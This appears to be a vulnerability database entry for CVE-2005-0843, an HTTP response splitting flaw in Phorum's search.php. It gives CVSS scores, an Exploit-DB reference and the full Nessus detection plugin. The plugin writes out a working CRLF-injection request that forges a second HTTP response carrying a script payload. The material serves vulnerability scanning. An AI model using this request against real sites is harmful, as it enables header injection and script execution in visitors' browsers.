Vulnerabilities > CVE-2005-0843 - Unspecified vulnerability in Phorum 5.0.14A

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
NONE
network
low complexity
phorum
nessus
exploit available

Summary

CRLF injection vulnerability in search.php in Phorum 5.0.14a allows remote attackers to perform HTTP Response Splitting attacks via the body parameter, which is included in the resulting Location header.

Vulnerable Configurations

Part Description Count
Application
Phorum
1

Exploit-Db

descriptionPhorum 3.x/5.0.x HTTP Response Splitting Vulnerability. CVE-2005-0843. Webapps exploit for php platform
idEDB-ID:25258
last seen2016-02-03
modified2005-03-22
published2005-03-22
reporterAlexander Anisimov
sourcehttps://www.exploit-db.com/download/25258/
titlePhorum 3.x/5.0.x HTTP Response Splitting Vulnerability

Nessus

NASL familyCGI abuses
NASL idPHORUM_RESPONSE_SPLITTING.NASL
descriptionThe version of Phorum installed on the remote host does not properly sanitize input used in the Location response header. An attacker can exploit this flaw with a specially crafted request to inject malicious code into HTTP headers, which may allow execution of arbitrary HTML and script code in a user
last seen2020-06-01
modified2020-06-02
plugin id17596
published2005-03-22
reporterThis script is Copyright (C) 2005-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/17596
titlePhorum search.php location Parameter HTTP Response Splitting
code
#
# (C) Tenable Network Security, Inc.
#



include("compat.inc");

if (description) {
  script_id(17596);
  script_version("1.17");

  script_cve_id("CVE-2005-0843");
  script_bugtraq_id(12869);

  script_name(english:"Phorum search.php location Parameter HTTP Response Splitting");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to a
cross-site scripting attack." );
 script_set_attribute(attribute:"description", value:
"The version of Phorum installed on the remote host does not properly
sanitize input used in the Location response header.  An attacker can
exploit this flaw with a specially crafted request to inject malicious
code into HTTP headers, which may allow execution of arbitrary HTML
and script code in a user's browser within the context of the remote
host." );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/393953" );
 script_set_attribute(attribute:"see_also", value:"https://www.phorum.org/story.php?48" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to Phorum 5.0.15 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

 script_set_attribute(attribute:"plugin_publication_date", value: "2005/03/22");
 script_set_attribute(attribute:"vuln_publication_date", value: "2005/03/22");
 script_cvs_date("Date: 2018/11/15 20:50:18");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:phorum:phorum");
 script_end_attributes();


  script_summary(english:"Checks for HTTP response splitting vulnerability in Phorum");
  script_category(ACT_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
  script_family(english:"CGI abuses");
  script_dependencies("phorum_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Test an install.
install = get_kb_item(string("www/", port, "/phorum"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
  dir = matches[2];

  # A vulnerable system will output a redirect along with the
  # "response" in its body.
  xss = "<html><script>alert('Nessus was here');</script></html>";
  # nb: the url-encoded version is what we need to pass in.
  exss = "%3Chtml%3E%3Cscript%3Ealert('Nessus%20was%20here')%3B%3C%2Fscript%3E%3C%2Fhtml%3E";
  r = http_send_recv3(method:"GET",
    item:string(
      dir, "/search.php?",
      "forum_id=0&",
      "search=1&",
      "match_forum=ALL&",
      "body=%0d%0a",
        "Content-Length:%200%0d%0a%0d%0a",
        "HTTP/1.0%20200%20OK%0d%0a",
        "Content-Type:%20text/html%0d%0a",
        "Content-Length:%20", strlen(xss), "%0d%0a",
        "%0d%0a",
        exss, "%0d%0a",
        "&",
      "match_type=ALL&",
      "author=1&",
      "match_dates=30",
      "subject=1&"
    ),
    port:port
  );

  if (isnull(r)) exit(0);
  # If we get back our text, there's a problem.
  if (xss >< r[1] )
  {
   security_warning(port);
   set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
  }
}